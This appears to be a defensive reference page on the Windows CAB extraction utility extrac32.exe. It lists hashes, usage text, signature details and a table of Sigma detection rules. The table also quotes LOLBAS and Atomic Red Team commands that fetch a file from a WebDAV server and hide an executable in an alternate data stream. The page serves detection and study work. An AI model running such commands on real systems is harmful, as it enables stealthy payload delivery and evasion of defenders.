extrac32.exe

  • File Path: C:\WINDOWS\SysWOW64\extrac32.exe
  • Description: Microsoft CAB File Extract Utility

Hashes

Type Hash
MD5 AEC60237D13789DEBBFCA362C42247F9
SHA1 E8CE8E622BE8C4D04DC51FCC12AE017A620ED78C
SHA256 777957B5F985DEE9DA8C5F5EB017D2A3B35E0B0F7B2C71268AD2DD70F8AA3C61
SHA384 E6F3AABFA333A3C854CABB5F7CDEF2D1990EDC0B23D140FB9BCDFC834D379943600F0E21A2386E733CF3874EC7BD8D0C
SHA512 C2C0B348A652C93FE5504B439E1373C5916C2EA39CC7F879FF6627FD95548BB1DE0B2E2008CE860360C5B11A924E480929C0C0E35476F8C7EED538B8710BA695
SSDEEP 768:nYDhe6vip2X1PLDroYNIrA2UrCYTz1OSHD:nOheqq2lPXNIr1i1O
IMP 7B1D3FE0DC6AA68A34FB0D96A1457FE6
PESHA1 D537A5869064A8FDACB2A98E721B98D208E0A18B
PE256 8BBF8BC6E8E6DE6896D41F4EBC613B9130C7D365E0428C70F376D963F37B8AAB

Runtime Data

Usage (stdout):

Microsoft (R) Cabinet Extraction Tool
Copyright (c) Microsoft Corporation. All rights reserved..

EXTRACT [/Y] [/A] [/D | /E] [/L dir] cabinet [filename ...]
EXTRACT [/Y] source [newname]
EXTRACT [/Y] /C source destination

  cabinet  - Cabinet file (contains two or more files).
  filename - Name of the file to extract from the cabinet.
             Wild cards and multiple filenames (separated by
             blanks) may be used.

  source   - Compressed file (a cabinet with only one file).
  newname  - New filename to give the extracted file.
             If not supplied, the original name is used.

  /A         Process ALL cabinets.  Follows cabinet chain
             starting in first cabinet mentioned.
  /C         Copy source file to destination (to copy from DMF disks).
  /D         Display cabinet directory (use with filename to avoid extract).
  /E         Extract (use instead of *.* to extract all files).
  /L dir     Location to place extracted files (default is current directory).
  /Y         Do not prompt before overwriting an existing file.

Loaded Modules:

Path
C:\WINDOWS\SYSTEM32\ntdll.dll
C:\WINDOWS\System32\wow64.dll
C:\WINDOWS\System32\wow64base.dll
C:\WINDOWS\System32\wow64con.dll
C:\WINDOWS\System32\wow64cpu.dll
C:\WINDOWS\System32\wow64win.dll
C:\WINDOWS\SysWOW64\extrac32.exe

Signature

  • Status: Signature verified.
  • Serial: 33000002ED2C45E4C145CF48440000000002ED
  • Thumbprint: 312860D2047EB81F8F58C29FF19ECDB4C634CF6A
  • Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
  • Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

  • Original Filename: extrac32.exe
  • Product Name: Microsoft Windows Operating System
  • Company Name: Microsoft Corporation
  • File Version: 5.00 (WinBuild.160101.0800)
  • Product Version: 5.00
  • Language: English (United States)
  • Legal Copyright: Microsoft Corporation. All rights reserved.
  • Machine Type: 32-bit

File Scan

  • VirusTotal Detections: 0/73
  • VirusTotal Link: https://www.virustotal.com/gui/file/777957b5f985dee9da8c5f5eb017d2a3b35e0b0f7b2c71268ad2dd70f8aa3c61/detection

Possible Misuse

The following table contains possible examples of extrac32.exe being misused. While extrac32.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
sigma proc_creation_win_lolbas_extrac32.yml title: Suspicious Extrac32 Execution DRL 1.0
sigma proc_creation_win_lolbas_extrac32.yml description: Download or Copy file with Extrac32 DRL 1.0
sigma proc_creation_win_lolbas_extrac32.yml - https://lolbas-project.github.io/lolbas/Binaries/Extrac32/ DRL 1.0
sigma proc_creation_win_lolbas_extrac32.yml - extrac32.exe DRL 1.0
sigma proc_creation_win_lolbas_extrac32_ads.yml title: Suspicious Extrac32 Alternate Data Stream Execution DRL 1.0
sigma proc_creation_win_lolbas_extrac32_ads.yml - https://lolbas-project.github.io/lolbas/Binaries/Extrac32/ DRL 1.0
sigma proc_creation_win_lolbas_extrac32_ads.yml - extrac32.exe DRL 1.0
LOLBAS Extrac32.yml Name: Extrac32.exe  
LOLBAS Extrac32.yml - Command: extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe  
LOLBAS Extrac32.yml - Command: extrac32 \\webdavserver\webdav\file.cab c:\ADS\file.txt:file.exe  
LOLBAS Extrac32.yml - Command: extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt  
LOLBAS Extrac32.yml - Command: extrac32.exe /C C:\Windows\System32\calc.exe C:\Users\user\Desktop\calc.exe  
LOLBAS Extrac32.yml - Path: C:\Windows\System32\extrac32.exe  
LOLBAS Extrac32.yml - Path: C:\Windows\SysWOW64\extrac32.exe  
atomic-red-team T1564.004.md extrac32 #{path}\procexp.cab #{path}\file.txt:procexp.exe MIT License. © 2018 Red Canary

MIT License. Copyright (c) 2020-2021 Strontic.